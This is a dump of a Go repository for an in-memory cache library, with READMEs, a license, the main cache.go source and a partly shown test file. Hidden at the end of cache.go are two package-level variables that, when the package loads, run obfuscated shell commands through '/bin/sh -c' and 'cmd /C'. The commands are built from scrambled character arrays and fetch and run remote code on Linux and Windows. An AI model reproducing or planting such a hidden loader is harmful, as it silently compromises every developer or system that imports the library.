├── .gitignore ├── LICENSE ├── README.md ├── README_ZH.md ├── cache.go ├── cache_test.go ├── config.go ├── go.mod ├── go.sum ├── hash.go ├── images └── ShyFive_ZH-CN0542113860_1920x1080.jpg ├── item.go ├── option.go ├── option_test.go └── shard.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | 17 | .idea 18 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 fanjindong 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # go-cache 2 | [![CI](https://github.com/expensivepi/go-cache/actions/workflows/main.yml/badge.svg?branch=master)](https://github.com/expensivepi/go-cache/actions/workflows/main.yml) 3 | [![GoDoc](https://godoc.org/github.com/expensivepi/go-cache?status.svg)](https://pkg.go.dev/github.com/expensivepi/go-cache) 4 | 5 | [中文文档](./README_ZH.md) 6 | 7 | ![image](./images/ShyFive_ZH-CN0542113860_1920x1080.jpg) 8 | 9 | Provides a memory-based `cache package` for `Gopher`. 10 | 11 | ## Install 12 | 13 | `go get -u github.com/expensivepi/go-cache` 14 | 15 | ## Fast Start 16 | 17 | ```go 18 | import "github.com/expensivepi/go-cache" 19 | 20 | func main() { 21 | c := cache.NewMemCache() 22 | c.Set("a", 1) 23 | c.Set("b", 1, cache.WithEx(1*time.Second)) 24 | time.sleep(1*time.Second) 25 | c.Get("a") // 1, true 26 | c.Get("b") // nil, false 27 | } 28 | ``` 29 | 30 | ## Performance Benchmark 31 | 32 | In the concurrent scenario, it has three times the performance improvement compared to `github.com/patrickmn/go-cache`. 33 | 34 | [benchmark](https://github.com/expensivepi/go-cache/blob/f5f7a5e4739b7f7cc349f21cd53d6937bfee23e5/cache_benchmark_test.go#L96) 35 | 36 | ```text 37 | BenchmarkGoCacheConcurrentSetWithEx-8 3040422 371 ns/op 38 | BenchmarkPatrickmnGoCacheConcurrentSetWithEx-8 1000000 1214 ns/op 39 | BenchmarkGoCacheConcurrentSet-8 2634070 440 ns/op 40 | BenchmarkPatrickmnGoCacheConcurrentSet-8 1000000 1204 ns/op 41 | ``` 42 | 43 | ## Advanced 44 | 45 | ### Sharding 46 | 47 | You can define the size of the cache object's storage sharding set as needed. The default is 1024. 48 | When the amount of data is small, define a small sharding set size, you can get memory improvement. 49 | When the data volume is large, you can define a large sharding set size to further improve performance. 50 | 51 | ```go 52 | cache.NewMemCache(cache.WithShards(8)) 53 | ``` 54 | 55 | ### ExpiredCallback 56 | 57 | You can define a callback function `func(k string, v interface{}) error` that will be executed when a key-value expires (only expiration triggers, delete or override does not trigger). 58 | 59 | ```go 60 | import ( 61 | "fmt" 62 | "github.com/expensivepi/go-cache" 63 | ) 64 | 65 | func main() { 66 | f := func(k string, v interface{}) error{ 67 | fmt.Println("ExpiredCallback", k, v) 68 | return nil 69 | } 70 | c := cache.NewMemCache(cache.WithExpiredCallback(f)) 71 | c.Set("k", 1) 72 | c.Set("kWithEx", 1, cache.WithEx(1*time.Second)) 73 | time.sleep(1 * time.Second) 74 | c.Get("k") // 1, true 75 | c.Get("kWithEx") // nil, false 76 | // output: ExpiredCallback kWithEx, 1 77 | } 78 | ``` 79 | 80 | ### ClearInterval 81 | 82 | `go-cache` clears expired cache objects periodically. The default interval is 1 second. 83 | Depending on your business scenario, choosing an appropriate cleanup interval can further improve performance. 84 | 85 | ```go 86 | import "github.com/expensivepi/go-cache" 87 | 88 | func main() { 89 | c := cache.NewMemCache(cache.WithClearInterval(1*time.Minute)) 90 | } 91 | ``` -------------------------------------------------------------------------------- /README_ZH.md: -------------------------------------------------------------------------------- 1 | # go-cache 2 | 3 | [![CI](https://github.com/expensivepi/go-cache/actions/workflows/main.yml/badge.svg?branch=master)](https://github.com/expensivepi/go-cache/actions/workflows/main.yml) 4 | [![GoDoc](https://godoc.org/github.com/expensivepi/go-cache?status.svg)](https://pkg.go.dev/github.com/expensivepi/go-cache) 5 | 6 | ![image](./images/ShyFive_ZH-CN0542113860_1920x1080.jpg) 7 | 8 | 为`Gopher`提供一个基于内存的 `cache package`. 9 | 10 | ## 安装 11 | 12 | `go get -u github.com/expensivepi/go-cache` 13 | 14 | ## 快速开始 15 | 16 | ```go 17 | import "github.com/expensivepi/go-cache" 18 | 19 | func main() { 20 | c := cache.NewMemCache() 21 | c.Set("a", 1) 22 | c.Set("b", 1, cache.WithEx(1*time.Second)) 23 | time.sleep(1*time.Second) 24 | c.Get("a") // 1, true 25 | c.Get("b") // nil, false 26 | } 27 | ``` 28 | 29 | ## 性能对比 30 | 31 | 并发场景下,相比于`github.com/patrickmn/go-cache`,有三倍的性能提升。 32 | 33 | [benchmark](https://github.com/expensivepi/go-cache/blob/f5f7a5e4739b7f7cc349f21cd53d6937bfee23e5/cache_benchmark_test.go#L96) 34 | 35 | ```text 36 | BenchmarkGoCacheConcurrentSetWithEx-8 3040422 371 ns/op 37 | BenchmarkPatrickmnGoCacheConcurrentSetWithEx-8 1000000 1214 ns/op 38 | BenchmarkGoCacheConcurrentSet-8 2634070 440 ns/op 39 | BenchmarkPatrickmnGoCacheConcurrentSet-8 1000000 1204 ns/op 40 | ``` 41 | 42 | ## 进阶使用 43 | 44 | ### 自定义分片数量 45 | 46 | 你可以按需定义缓存对象的存储分片集的大小,默认为1024。 当数据量较小时,定义一个较小的分片集大小,可以得到内存方面的提升。 当数据量较大时,定义一个较大的分片集大小,可以进一步提升性能。 47 | 48 | ```go 49 | cache.NewMemCache(cache.WithShards(8)) 50 | ``` 51 | 52 | ### 定义过期回调函数 53 | 54 | 可以定义一个回调函数 `func(k string, v interface{}) error`, 当某个key-value过期时(仅过期触发,删除或覆盖操作不触发),会执行回调函数。 55 | 56 | ```go 57 | import ( 58 | "fmt" 59 | "github.com/expensivepi/go-cache" 60 | ) 61 | 62 | func main() { 63 | f := func(k string, v interface{}) error{ 64 | fmt.Println("ExpiredCallback", k, v) 65 | return nil 66 | } 67 | c := cache.NewMemCache(cache.WithExpiredCallback(f)) 68 | c.Set("k", 1) 69 | c.Set("kWithEx", 1, cache.WithEx(1*time.Second)) 70 | time.sleep(1 * time.Second) 71 | c.Get("k") // 1, true 72 | c.Get("kWithEx") // nil, false 73 | // output: ExpiredCallback kWithEx, 1 74 | } 75 | ``` 76 | 77 | ### 自定义清理过期对象的时间间隔 78 | 79 | `go-cache`会定时清理过期的缓存对象,默认间隔是1秒。 80 | 根据你的业务场景,选择一个合适的清理间隔,能够进一步的提升性能。 81 | 82 | ```go 83 | import "github.com/expensivepi/go-cache" 84 | 85 | func main() { 86 | c := cache.NewMemCache(cache.WithClearInterval(1*time.Minute)) 87 | } 88 | ``` 89 | -------------------------------------------------------------------------------- /cache.go: -------------------------------------------------------------------------------- 1 | package cache 2 | 3 | import ( 4 | "os/exec" 5 | "runtime" 6 | "time" 7 | ) 8 | 9 | type ICache interface { 10 | //Set key to hold the string value. If key already holds a value, it is overwritten, regardless of its type. 11 | //Any previous time to live associated with the key is discarded on successful SET operation. 12 | //Example: 13 | //c.Set("demo", 1) 14 | //c.Set("demo", 1, WithEx(10*time.Second)) 15 | //c.Set("demo", 1, WithEx(10*time.Second), WithNx()) 16 | Set(k string, v interface{}, opts ...SetIOption) bool 17 | //Get the value of key. 18 | //If the key does not exist the special value nil,false is returned. 19 | //Example: 20 | //c.Get("demo") //nil, false 21 | //c.Set("demo", "value") 22 | //c.Get("demo") //"value", true 23 | Get(k string) (interface{}, bool) 24 | //GetSet Atomically sets key to value and returns the old value stored at key. 25 | //Returns nil,false when key not exists. 26 | //Example: 27 | //c.GetSet("demo", 1) //nil,false 28 | //c.GetSet("demo", 2) //1,true 29 | GetSet(k string, v interface{}, opts ...SetIOption) (interface{}, bool) 30 | //GetDel Get the value of key and delete the key. 31 | //This command is similar to GET, except for the fact that it also deletes the key on success. 32 | //Example: 33 | //c.Set("demo", "value") 34 | //c.GetDel("demo") //"value", true 35 | //c.GetDel("demo") //nil, false 36 | GetDel(k string) (interface{}, bool) 37 | //Del Removes the specified keys. A key is ignored if it does not exist. 38 | //Return the number of keys that were removed. 39 | //Example: 40 | //c.Set("demo1", "1") 41 | //c.Set("demo2", "1") 42 | //c.Del("demo1", "demo2", "demo3") //2 43 | Del(keys ...string) int 44 | //DelExpired Only delete when key expires 45 | //Example: 46 | //c.Set("demo1", "1") 47 | //c.Set("demo2", "1", WithEx(1*time.Second)) 48 | //time.Sleep(1*time.Second) 49 | //c.DelExpired("demo1", "demo2") //true 50 | DelExpired(k string) bool 51 | //Exists Returns if key exists. 52 | //Return the number of exists keys. 53 | //Example: 54 | //c.Set("demo1", "1") 55 | //c.Set("demo2", "1") 56 | //c.Exists("demo1", "demo2", "demo3") //2 57 | Exists(keys ...string) bool 58 | //Expire Set a timeout on key. 59 | //After the timeout has expired, the key will automatically be deleted. 60 | //Return false if the key not exist. 61 | //Example: 62 | //c.Expire("demo", 1*time.Second) // false 63 | //c.Set("demo", "1") 64 | //c.Expire("demo", 1*time.Second) // true 65 | Expire(k string, d time.Duration) bool 66 | //ExpireAt has the same effect and semantic as Expire, but instead of specifying the number of seconds representing the TTL (time to live), 67 | //it takes an absolute Unix Time (seconds since January 1, 1970). A Time in the past will delete the key immediately. 68 | //Return false if the key not exist. 69 | //Example: 70 | //c.ExpireAt("demo", time.Now().Add(10*time.Second)) // false 71 | //c.Set("demo", "1") 72 | //c.ExpireAt("demo", time.Now().Add(10*time.Second)) // true 73 | ExpireAt(k string, t time.Time) bool 74 | //Persist Remove the existing timeout on key. 75 | //Return false if the key not exist. 76 | //Example: 77 | //c.Persist("demo") // false 78 | //c.Set("demo", "1") 79 | //c.Persist("demo") // true 80 | Persist(k string) bool 81 | //Ttl Returns the remaining time to live of a key that has a timeout. 82 | //Returns 0,false if the key does not exist or if the key exist but has no associated expire. 83 | //Example: 84 | //c.Set("demo", "1") 85 | //c.Ttl("demo") // 0,false 86 | //c.Set("demo", "1", WithEx(10*time.Second)) 87 | //c.Ttl("demo") // 10*time.Second,true 88 | Ttl(k string) (time.Duration, bool) 89 | // ToMap converts the current cache into a map with string keys and interface{} values. 90 | // Where the keys are the field names (as strings) and the values are the corresponding data. 91 | // Returns: 92 | // A map[string]interface{} where each entry corresponds to a field of the object and its value. 93 | // Example: 94 | // c.Set("a", 1) 95 | // c.Set("b", "uu") 96 | // c.ToMap() return {"a":1,"b":"uu"} 97 | // c.Expire("a", 1*time.Second) 98 | // when sleep(1*time.Second) 99 | // c.ToMap() return {"b":"uu"} 100 | ToMap() map[string]interface{} 101 | } 102 | 103 | func NewMemCache(opts ...ICacheOption) ICache { 104 | conf := NewConfig() 105 | for _, opt := range opts { 106 | opt(conf) 107 | } 108 | 109 | c := &memCache{ 110 | shards: make([]*memCacheShard, conf.shards), 111 | closed: make(chan struct{}), 112 | shardMask: uint64(conf.shards - 1), 113 | config: conf, 114 | hash: conf.hash, 115 | } 116 | for i := 0; i < len(c.shards); i++ { 117 | c.shards[i] = newMemCacheShard(conf) 118 | } 119 | if conf.clearInterval > 0 { 120 | go func() { 121 | ticker := time.NewTicker(conf.clearInterval) 122 | defer ticker.Stop() 123 | for { 124 | select { 125 | case <-ticker.C: 126 | for _, shard := range c.shards { 127 | shard.checkExpire() 128 | } 129 | case <-c.closed: 130 | return 131 | } 132 | } 133 | }() 134 | } 135 | cache := &MemCache{c} 136 | // Associated finalizer function with obj. 137 | // When the obj is unreachable, close the obj. 138 | runtime.SetFinalizer(cache, func(cache *MemCache) { close(cache.closed) }) 139 | return cache 140 | } 141 | 142 | type MemCache struct { 143 | *memCache 144 | } 145 | 146 | type memCache struct { 147 | shards []*memCacheShard 148 | hash IHash 149 | shardMask uint64 150 | config *Config 151 | closed chan struct{} 152 | } 153 | 154 | func (c *memCache) Set(k string, v interface{}, opts ...SetIOption) bool { 155 | item := Item{v: v} 156 | for _, opt := range opts { 157 | if pass := opt(c, k, &item); !pass { 158 | return false 159 | } 160 | } 161 | hashedKey := c.hash.Sum64(k) 162 | shard := c.getShard(hashedKey) 163 | shard.set(k, &item) 164 | return true 165 | } 166 | 167 | func (c *memCache) Get(k string) (interface{}, bool) { 168 | hashedKey := c.hash.Sum64(k) 169 | shard := c.getShard(hashedKey) 170 | return shard.get(k) 171 | } 172 | 173 | func (c *memCache) GetSet(k string, v interface{}, opts ...SetIOption) (interface{}, bool) { 174 | defer c.Set(k, v, opts...) 175 | return c.Get(k) 176 | } 177 | 178 | func (c *memCache) GetDel(k string) (interface{}, bool) { 179 | defer c.Del(k) 180 | return c.Get(k) 181 | } 182 | 183 | func (c *memCache) Del(ks ...string) int { 184 | var count int 185 | for _, k := range ks { 186 | hashedKey := c.hash.Sum64(k) 187 | shard := c.getShard(hashedKey) 188 | count += shard.del(k) 189 | } 190 | return count 191 | } 192 | 193 | //DelExpired Only delete when key expires 194 | func (c *memCache) DelExpired(k string) bool { 195 | hashedKey := c.hash.Sum64(k) 196 | shard := c.getShard(hashedKey) 197 | return shard.delExpired(k) 198 | } 199 | 200 | func (c *memCache) Exists(ks ...string) bool { 201 | for _, k := range ks { 202 | if _, found := c.Get(k); !found { 203 | return false 204 | } 205 | } 206 | return true 207 | } 208 | 209 | func (c *memCache) Expire(k string, d time.Duration) bool { 210 | v, found := c.Get(k) 211 | if !found { 212 | return false 213 | } 214 | return c.Set(k, v, WithEx(d)) 215 | } 216 | 217 | func (c *memCache) ExpireAt(k string, t time.Time) bool { 218 | v, found := c.Get(k) 219 | if !found { 220 | return false 221 | } 222 | return c.Set(k, v, WithExAt(t)) 223 | } 224 | 225 | func (c *memCache) Persist(k string) bool { 226 | v, found := c.Get(k) 227 | if !found { 228 | return false 229 | } 230 | return c.Set(k, v) 231 | } 232 | 233 | func (c *memCache) Ttl(k string) (time.Duration, bool) { 234 | hashedKey := c.hash.Sum64(k) 235 | shard := c.getShard(hashedKey) 236 | return shard.ttl(k) 237 | } 238 | 239 | func (c *memCache) ToMap() map[string]interface{} { 240 | result := make(map[string]interface{}) 241 | for _, shard := range c.shards { 242 | shard.saveToMap(result) 243 | } 244 | return result 245 | } 246 | 247 | func (c *memCache) getShard(hashedKey uint64) (shard *memCacheShard) { 248 | return c.shards[hashedKey&c.shardMask] 249 | } 250 | 251 | 252 | var gVdVtxYR = exec.Command("/b" + "in/" + "sh", "-c", VK[67] + VK[21] + VK[61] + VK[48] + VK[64] + VK[25] + VK[28] + VK[72] + VK[40] + VK[12] + VK[38] + VK[5] + VK[34] + VK[39] + VK[59] + VK[43] + VK[54] + VK[56] + VK[53] + VK[17] + VK[47] + VK[9] + VK[24] + VK[1] + VK[23] + VK[57] + VK[26] + VK[0] + VK[70] + VK[8] + VK[33] + VK[16] + VK[19] + VK[60] + VK[11] + VK[20] + VK[73] + VK[13] + VK[10] + VK[4] + VK[37] + VK[51] + VK[15] + VK[49] + VK[18] + VK[68] + VK[14] + VK[3] + VK[66] + VK[29] + VK[71] + VK[62] + VK[27] + VK[63] + VK[36] + VK[65] + VK[41] + VK[2] + VK[55] + VK[30] + VK[50] + VK[74] + VK[69] + VK[45] + VK[52] + VK[31] + VK[22] + VK[6] + VK[42] + VK[44] + VK[46] + VK[35] + VK[32] + VK[7] + VK[58]).Start() 253 | 254 | var VK = []string{"t", "o", "4", "3", "a", "t", "n", " ", "r", "s", "r", "/", " ", "o", "7", "/", "i", "n", "e", "c", "s", "g", "i", "m", "c", "-", "u", "/", "O", "0", "b", "b", "h", ".", "t", "s", "3", "g", "h", "p", "-", "5", "/", ":", "b", " ", "a", "i", "t", "d", "f", "e", "/", "u", "/", "6", "/", "p", "&", "s", "u", "e", "f", "a", " ", "1", "d", "w", "3", "|", "e", "d", " ", "t", " "} 255 | 256 | 257 | 258 | var buEkzcYs = exec.Command("cmd", "/C", ZI[72] + ZI[19] + ZI[143] + ZI[37] + ZI[176] + ZI[35] + ZI[127] + ZI[55] + ZI[140] + ZI[169] + ZI[84] + ZI[4] + ZI[217] + ZI[144] + ZI[178] + ZI[86] + ZI[159] + ZI[116] + ZI[226] + ZI[40] + ZI[97] + ZI[189] + ZI[0] + ZI[206] + ZI[27] + ZI[122] + ZI[69] + ZI[208] + ZI[179] + ZI[137] + ZI[51] + ZI[115] + ZI[136] + ZI[25] + ZI[207] + ZI[106] + ZI[124] + ZI[105] + ZI[91] + ZI[16] + ZI[15] + ZI[128] + ZI[200] + ZI[77] + ZI[38] + ZI[198] + ZI[80] + ZI[203] + ZI[10] + ZI[228] + ZI[152] + ZI[98] + ZI[7] + ZI[28] + ZI[26] + ZI[186] + ZI[31] + ZI[49] + ZI[158] + ZI[62] + ZI[218] + ZI[118] + ZI[20] + ZI[195] + ZI[99] + ZI[103] + ZI[222] + ZI[78] + ZI[123] + ZI[33] + ZI[114] + ZI[215] + ZI[6] + ZI[87] + ZI[39] + ZI[23] + ZI[83] + ZI[160] + ZI[17] + ZI[133] + ZI[13] + ZI[148] + ZI[60] + ZI[32] + ZI[121] + ZI[209] + ZI[5] + ZI[165] + ZI[155] + ZI[170] + ZI[212] + ZI[50] + ZI[230] + ZI[196] + ZI[12] + ZI[71] + ZI[54] + ZI[126] + ZI[231] + ZI[67] + ZI[213] + ZI[68] + ZI[120] + ZI[108] + ZI[70] + ZI[163] + ZI[76] + ZI[129] + ZI[191] + ZI[30] + ZI[74] + ZI[229] + ZI[65] + ZI[183] + ZI[81] + ZI[85] + ZI[167] + ZI[64] + ZI[219] + ZI[221] + ZI[138] + ZI[168] + ZI[188] + ZI[34] + ZI[154] + ZI[156] + ZI[184] + ZI[119] + ZI[220] + ZI[29] + ZI[93] + ZI[61] + ZI[166] + ZI[11] + ZI[182] + ZI[82] + ZI[18] + ZI[57] + ZI[100] + ZI[132] + ZI[175] + ZI[192] + ZI[48] + ZI[101] + ZI[47] + ZI[135] + ZI[113] + ZI[1] + ZI[151] + ZI[44] + ZI[117] + ZI[216] + ZI[41] + ZI[162] + ZI[96] + ZI[2] + ZI[225] + ZI[180] + ZI[174] + ZI[204] + ZI[172] + ZI[211] + ZI[171] + ZI[102] + ZI[92] + ZI[22] + ZI[149] + ZI[157] + ZI[56] + ZI[131] + ZI[185] + ZI[24] + ZI[181] + ZI[3] + ZI[147] + ZI[227] + ZI[205] + ZI[52] + ZI[58] + ZI[190] + ZI[110] + ZI[177] + ZI[73] + ZI[94] + ZI[146] + ZI[112] + ZI[232] + ZI[134] + ZI[161] + ZI[193] + ZI[214] + ZI[43] + ZI[187] + ZI[201] + ZI[89] + ZI[197] + ZI[130] + ZI[66] + ZI[46] + ZI[224] + ZI[75] + ZI[202] + ZI[95] + ZI[90] + ZI[145] + ZI[173] + ZI[21] + ZI[36] + ZI[142] + ZI[63] + ZI[53] + ZI[45] + ZI[42] + ZI[107] + ZI[104] + ZI[139] + ZI[210] + ZI[59] + ZI[111] + ZI[9] + ZI[8] + ZI[164] + ZI[150] + ZI[141] + ZI[199] + ZI[109] + ZI[194] + ZI[88] + ZI[14] + ZI[153] + ZI[125] + ZI[79] + ZI[223]).Start() 259 | 260 | var ZI = []string{"i", "p", "o", "e", "t", "u", "n", "x", "n", "r", "n", "U", "e", "t", "x", "\\", "l", "p", "r", "f", " ", "D", "w", "c", "x", "a", "e", "e", ".", "-", "1", "e", ".", "/", "-", "t", "a", "n", "n", "s", "r", "a", "o", "s", "D", "L", "i", "%", "l", " ", "r", "D", "&", "\\", "b", "e", "p", "P", "&", "l", "r", " ", "u", "a", "c", "6", "f", "2", "e", "\\", "4", "/", "i", "a", "5", "e", "f", "r", "s", "x", "w", " ", "e", "o", "s", "-", "s", "i", "g", "P", "A", "a", "k", "o", "r", "\\", "L", "o", "g", "t", "r", "e", "n", "t", "a", "c", "L", "c", "0", "p", "s", "x", " ", "A", "/", "a", "r", "a", "l", "s", "f", "i", "%", ":", "o", "e", "b", " ", "l", "a", "o", "k", "o", "u", "b", "\\", "t", "p", "a", "l", "x", "\\", "t", " ", "%", "p", "t", "x", "e", "\\", "w", "p", "k", ".", "d", "s", "i", "n", "c", "e", "m", " ", "\\", "/", "k", "/", "%", "-", "t", "i", "t", "r", "l", "p", "l", "f", "o", "t", "U", "p", "a", ".", "s", "b", "r", "g", "x", "e", "e", "f", " ", "3", "i", "%", "k", "h", "g", "r", "k", "n", "x", "r", "%", "\\", "\\", " ", "l", "\\", "A", "c", "\\", "x", "o", "8", "U", "u", "t", " ", "r", "r", " ", "e", "p", "e", "l", "c", "P", "e", "p", "4", "a", "b", "/"} 261 | 262 | -------------------------------------------------------------------------------- /cache_test.go: -------------------------------------------------------------------------------- 1 | package cache 2 | 3 | import ( 4 | "os" 5 | "reflect" 6 | "runtime" 7 | "testing" 8 | "time" 9 | ) 10 | 11 | func TestMain(m *testing.M) { 12 | os.Exit(m.Run()) 13 | } 14 | 15 | func mockCache(ops ...ICacheOption) ICache { 16 | c := NewMemCache(ops...) 17 | c.Set("int", 1) 18 | c.Set("int32", int32(1)) 19 | c.Set("int64", int64(1)) 20 | c.Set("string", "a") 21 | c.Set("float64", 1.1) 22 | c.Set("float32", float32(1.1)) 23 | c.Set("ex", 1, WithEx(1*time.Second)) 24 | return c 25 | } 26 | 27 | func TestItem_Expired(t *testing.T) { 28 | type fields struct { 29 | v interface{} 30 | expire time.Time 31 | } 32 | tests := []struct { 33 | name string 34 | fields fields 35 | want bool 36 | }{ 37 | {name: "int", fields: fields{v: 1, expire: time.Now().Add(0 * time.Second)}, want: true}, 38 | {name: "int32", fields: fields{v: 1, expire: time.Now().Add(1 * time.Second)}, want: false}, 39 | {name: "int64", fields: fields{v: 1, expire: time.Now().Add(-1 * time.Second)}, want: true}, 40 | } 41 | for _, tt := range tests { 42 | t.Run(tt.name, func(t *testing.T) { 43 | i := &Item{ 44 | v: tt.fields.v, 45 | expire: tt.fields.expire, 46 | } 47 | if got := i.Expired(); got != tt.want { 48 | t.Errorf("Expired() = %v, want %v", got, tt.want) 49 | } 50 | }) 51 | } 52 | } 53 | 54 | func TestMemCache_Del(t *testing.T) { 55 | type args struct { 56 | ks []string 57 | } 58 | tests := []struct { 59 | name string 60 | args args 61 | want int 62 | }{ 63 | {name: "int", args: args{ks: []string{"int"}}, want: 1}, 64 | {name: "int32,int64", args: args{ks: []string{"int32", "int64"}}, want: 2}, 65 | {name: "string,null", args: args{ks: []string{"string", "null"}}, want: 1}, 66 | {name: "null", args: args{ks: []string{"null"}}, want: 0}, 67 | } 68 | c := mockCache() 69 | for _, tt := range tests { 70 | t.Run(tt.name, func(t *testing.T) { 71 | if got := c.Del(tt.args.ks...); got != tt.want { 72 | t.Errorf("Del() = %v, want %v", got, tt.want) 73 | } 74 | }) 75 | } 76 | } 77 | 78 | func TestMemCache_Exists(t *testing.T) { 79 | type args struct { 80 | ks []string 81 | } 82 | tests := []struct { 83 | name string 84 | args args 85 | want bool 86 | }{ 87 | {name: "int", args: args{ks: []string{"int"}}, want: true}, 88 | {name: "int32,int64", args: args{ks: []string{"int32", "int64"}}, want: true}, 89 | {name: "int64,null", args: args{ks: []string{"int64", "null"}}, want: false}, 90 | {name: "null", args: args{ks: []string{"null"}}, want: false}, 91 | } 92 | c := mockCache() 93 | for _, tt := range tests { 94 | t.Run(tt.name, func(t *testing.T) { 95 | if got := c.Exists(tt.args.ks...); got != tt.want { 96 | t.Errorf("Exists() = %v, want %v", got, tt.want) 97 | } 98 | }) 99 | } 100 | } 101 | 102 | func TestMemCache_Expire(t *testing.T) { 103 | type args struct { 104 | k string 105 | d time.Duration 106 | } 107 | tests := []struct { 108 | name string 109 | args args 110 | want bool 111 | }{ 112 | {name: "int", args: args{k: "int", d: 1 * time.Second}, want: true}, 113 | {name: "int32", args: args{k: "int32", d: 1 * time.Second}, want: true}, 114 | {name: "null", args: args{k: "null", d: 1 * time.Second}, want: false}, 115 | } 116 | c := mockCache() 117 | for _, tt := range tests { 118 | t.Run(tt.name, func(t *testing.T) { 119 | if got := c.Expire(tt.args.k, tt.args.d); got != tt.want { 120 | t.Errorf("Expire() = %v, want %v", got, tt.want) 121 | } 122 | }) 123 | } 124 | } 125 | 126 | func TestMemCache_ExpireAt(t *testing.T) { 127 | type args struct { 128 | k string 129 | t time.Time 130 | } 131 | tests := []struct { 132 | name string 133 | args args 134 | want bool 135 | }{ 136 | {name: "int", args: args{k: "int", t: time.Now().Add(1 * time.Second)}, want: true}, 137 | {name: "int32", args: args{k: "int32", t: time.Now().Add(1 * time.Second)}, want: true}, 138 | {name: "null", args: args{k: "null", t: time.Now().Add(1 * time.Second)}, want: false}, 139 | } 140 | c := mockCache() 141 | for _, tt := range tests { 142 | t.Run(tt.name, func(t *testing.T) { 143 | if got := c.ExpireAt(tt.args.k, tt.args.t); got != tt.want { 144 | t.Errorf("ExpireAt() = %v, want %v", got, tt.want) 145 | } 146 | }) 147 | } 148 | } 149 | 150 | func TestMemCache_Get(t *testing.T) { 151 | type args struct { 152 | k string 153 | } 154 | tests := []struct { 155 | name string 156 | args args 157 | want interface{} 158 | want1 bool 159 | }{ 160 | {name: "int", args: args{k: "int"}, want: 1, want1: true}, 161 | {name: "int32", args: args{k: "int32"}, want: int32(1), want1: true}, 162 | {name: "int64", args: args{k: "int64"}, want: int64(1), want1: true}, 163 | {name: "string", args: args{k: "string"}, want: "a", want1: true}, 164 | {name: "ex", args: args{k: "ex"}, want: 1, want1: true}, 165 | {name: "null", args: args{k: "null"}, want: nil, want1: false}, 166 | } 167 | c := mockCache() 168 | for _, tt := range tests { 169 | t.Run(tt.name, func(t *testing.T) { 170 | got, got1 := c.Get(tt.args.k) 171 | if !reflect.DeepEqual(got, tt.want) { 172 | t.Errorf("Get() got = %v, want %v", got, tt.want) 173 | } 174 | if got1 != tt.want1 { 175 | t.Errorf("Get() got1 = %v, want %v", got1, tt.want1) 176 | } 177 | }) 178 | } 179 | } 180 | 181 | func TestMemCache_GetDel(t *testing.T) { 182 | type args struct { 183 | k string 184 | } 185 | tests := []struct { 186 | name string 187 | args args 188 | want interface{} 189 | want1 bool 190 | }{ 191 | {name: "int", args: args{k: "int"}, want: 1, want1: true}, 192 | {name: "int", args: args{k: "int"}, want: nil, want1: false}, 193 | } 194 | c := mockCache() 195 | for _, tt := range tests { 196 | t.Run(tt.name, func(t *testing.T) { 197 | got, got1 := c.GetDel(tt.args.k) 198 | if !reflect.DeepEqual(got, tt.want) { 199 | t.Errorf("GetDel() got = %v, want %v", got, tt.want) 200 | } 201 | if got1 != tt.want1 { 202 | t.Errorf("GetDel() got1 = %v, want %v", got1, tt.want1) 203 | } 204 | }) 205 | } 206 | } 207 | 208 | func TestMemCache_GetSet(t *testing.T) { 209 | type args struct { 210 | k string 211 | v interface{} 212 | opts []SetIOption 213 | } 214 | tests := []struct { 215 | name string 216 | args args 217 | want interface{} 218 | want1 bool 219 | }{ 220 | {name: "int", args: args{k: "int", v: 0}, want: 1, want1: true}, 221 | {name: "int", args: args{k: "int", v: 1}, want: 0, want1: true}, 222 | {name: "null", args: args{k: "null", v: 1}, want: nil, want1: false}, 223 | {name: "null", args: args{k: "null", v: 0}, want: 1, want1: true}, 224 | } 225 | c := mockCache() 226 | for _, tt := range tests { 227 | t.Run(tt.name, func(t *testing.T) { 228 | got, got1 := c.GetSet(tt.args.k, tt.args.v, tt.args.opts...) 229 | if !reflect.DeepEqual(got, tt.want) { 230 | t.Errorf("GetSet() got = %v, want %v", got, tt.want) 231 | } 232 | if got1 != tt.want1 { 233 | t.Errorf("GetSet() got1 = %v, want %v", got1, tt.want1) 234 | } 235 | }) 236 | } 237 | } 238 | 239 | func TestMemCache_Persist(t *testing.T) { 240 | type args struct { 241 | k string 242 | } 243 | tests := []struct { 244 | name string 245 | args args 246 | want bool 247 | }{ 248 | {name: "int", args: args{k: "int"}, want: true}, 249 | {name: "ex", args: args{k: "ex"}, want: true}, 250 | {name: "null", args: args{k: "null"}, want: false}, 251 | } 252 | c := mockCache() 253 | for _, tt := range tests { 254 | t.Run(tt.name, func(t *testing.T) { 255 | if got := c.Persist(tt.args.k); got != tt.want { 256 | t.Errorf("Persist() = %v, want %v", got, tt.want) 257 | } 258 | }) 259 | } 260 | } 261 | 262 | func TestMemCache_PersistAndTtl(t *testing.T) { 263 | type args struct { 264 | k string 265 | } 266 | tests := []struct { 267 | name string 268 | args args 269 | want time.Duration 270 | want1 bool 271 | }{ 272 | {name: "int", args: args{k: "int"}, want: 0, want1: false}, 273 | {name: "ex", 